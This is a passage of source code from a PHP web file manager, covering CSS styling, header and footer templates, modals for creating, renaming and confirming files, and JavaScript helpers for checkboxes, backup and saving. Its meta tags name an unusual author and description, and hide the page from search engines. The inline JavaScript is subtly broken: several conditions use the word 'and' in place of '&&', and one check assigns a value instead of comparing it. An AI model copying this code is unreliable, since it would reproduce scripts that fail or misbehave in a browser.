body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
function fm_show_footer_login()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="swallowable">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('pre-cloudflare'); ?>
<?php print_external('css-bootstrap'); ?>
<?php print_external('css-font-awesome'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('css-highlightjs'); ?>
<?php endif; ?>
<script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
<style>
html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
*,*::before,*::after { box-sizing: border-box;}
body { font-size:15px; color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a, a:hover, a:visited, a:focus { text-decoration:none !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
.brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
.brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0; overflow: hidden; }
pre.with-hljs code { margin:0;border:0;overflow:scroll; }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form, .preview-img-container { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
input#preview-img-zoomCheck[type=checkbox] { display:none }
input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { padding:4px 10px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img { max-width: 300px; }
.border-radius-0 { border-radius: 0; }
.float-right { float: right; }
.table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
#main-table tr.even { background-color: #F8F9Fa; }
.filename>a>i {margin-right: 3px;}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
:root {
--bs-bg-opacity: 1;
--bg-color: #f3daa6;
--bs-dark-rgb: 28, 36, 41 !important;
--bs-bg-opacity: 1;
}
.table-dark { --bs-table-bg: 28, 36, 41 !important; }
.btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
.theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
.theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
.theme-dark .dropzone { background: transparent; }
.theme-dark .inline-actions > a > i { background: #79755e; }
.theme-dark .text-white { color: #CFD8DC !important; }
.theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
.theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
.message { background-color: #212529; }
.compact-table tr:hover td { background-color: #3d3d3d; }
#main-table tr.even { background-color: #21292f; }
form.dropzone { border-color: #79755e; }
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
<label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="form-check form-check-inline">
<input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
<label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
function fm_show_footer()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('js-highlightjs'); ?>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) {
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState and 200 == n.status and toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' and n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
